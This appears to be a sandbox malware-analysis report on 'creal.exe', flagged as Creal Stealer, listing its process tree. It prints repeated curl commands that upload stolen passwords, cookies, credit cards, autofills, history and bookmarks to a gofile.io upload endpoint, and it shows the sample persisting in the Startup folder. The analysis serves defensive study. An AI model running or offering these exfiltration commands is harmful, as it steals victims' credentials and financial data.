2025-01-16 08:09:43 UTC	449	IN	HTTP/1.1 200 OK Server: nginx/1.27.1 Date: Thu, 16 Jan 2025 08:09:42 GMT Content-Type: application/json Content-Length: 749 Connection: close Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
2025-01-16 08:09:43 UTC	749	IN	Data Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 38 32 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 6a 47 6c 46 31 4e 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 4b 6d 4e 57 35 59 69 72 36 7a 56 63 30 6b 76 52 74 70 4e 66 4e 56 38 72 57 43 66 5a 37 36 46 73 22 2c 22 69 64 22 3a 22 65 37 32 33 36 64 35 64 2d 62 32 36 39 2d 34 65 66 39 2d 38 38 37 33 2d 30 64 61 64 66 64 62 66 39 32 34 35 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 37 30 31 34 39 38 32 2c Data Ascii: {"data":{"createTime":1737014982,"downloadPage":"https://gofile.io/d/jGlF1N","guestToken":"KmNW5Yir6zVc0kvRtpNfNV8rWCfZ76Fs","id":"e7236d5d-b269-4ef9-8873-0dadfdbf9245","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1737014982,

Target ID:	0
Start time:	03:09:09
Start date:	16/01/2025
Path:	C:\Users\user\Desktop\creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\creal.exe"
Imagebase:	0x7ff67a600000
File size:	17'171'619 bytes
MD5 hash:	DA1695DBA8BD25D00E05E7769D6D7E8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:09:12
Start date:	16/01/2025
Path:	C:\Users\user\Desktop\creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\creal.exe"
Imagebase:	0x7ff67a600000
File size:	17'171'619 bytes
MD5 hash:	DA1695DBA8BD25D00E05E7769D6D7E8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1457557096.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1530242051.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1506165356.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000002.1570834386.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1551554678.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1535265611.00000185BBDD4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1506829823.00000185BBD8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1514358388.00000185BBDA3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1546407514.00000185BBDF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1552635462.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000002.1570617892.00000185BC84E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1526078196.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1531149169.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1546301683.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1506773484.00000185BBF19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1520628565.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1520628565.00000185BC87D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000002.1572256883.00000185BCF00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1534840732.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1516736251.00000185BBDD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1506165356.00000185BBEFA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1514920740.00000185BBDBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1542555830.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 00000002.00000003.1551628084.00000185BC84D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:09:13
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:09:13
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:09:13
Start date:	16/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7df590000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:09:18
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:09:18
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:09:18
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:09:19
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:09:19
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:09:19
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:09:21
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:09:21
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:09:21
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:09:22
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:09:23
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:09:24
Start date:	16/01/2025
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
Imagebase:	0x7ff733cd0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	03:09:25
Start date:	16/01/2025
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"
Imagebase:	0x7ff7c3ce0000
File size:	17'171'619 bytes
MD5 hash:	DA1695DBA8BD25D00E05E7769D6D7E8E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:09:28
Start date:	16/01/2025
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe"
Imagebase:	0x7ff7c3ce0000
File size:	17'171'619 bytes
MD5 hash:	DA1695DBA8BD25D00E05E7769D6D7E8E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1716089607.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1717159393.000002085E25C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1715402115.000002085F215000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1713151539.000002085E24C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1711307435.000002085F388000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000002.1748038824.000002085F38A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1723970775.000002085E860000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1703156457.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1712107588.000002085E22D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000002.1737494959.000002085E25D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1703944510.000002085E851000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1704228303.000002085F214000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1704032686.000002085F380000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1703552422.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000002.1748098900.000002085F860000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1703762541.000002085F1E6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1707931768.000002085E22C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1706137097.000002085E212000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1707127966.000002085E212000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000002.1747339313.000002085F21D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1715680731.000002085E24E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CrealStealer, Description: Yara detected Creal Stealer, Source: 0000001C.00000003.1703156457.000002085F085000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:09:32
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:09:32
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:09:32
Start date:	16/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7df590000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:09:36
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:09:36
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:09:36
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:09:37
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:09:37
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:09:37
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:09:39
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:09:39
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:09:39
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:09:42
